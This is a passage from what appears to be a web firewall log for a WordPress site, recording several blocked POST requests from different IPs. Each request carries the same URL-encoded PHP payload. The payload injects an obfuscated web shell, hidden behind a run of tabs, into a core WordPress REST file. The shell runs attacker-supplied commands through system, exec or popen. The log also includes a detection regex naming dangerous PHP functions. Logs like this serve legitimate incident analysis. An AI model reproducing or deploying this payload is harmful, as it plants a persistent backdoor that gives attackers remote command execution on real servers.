or%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:50:48","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:5570\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\nQz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:51:20","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ib:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5570\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:51:29","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%25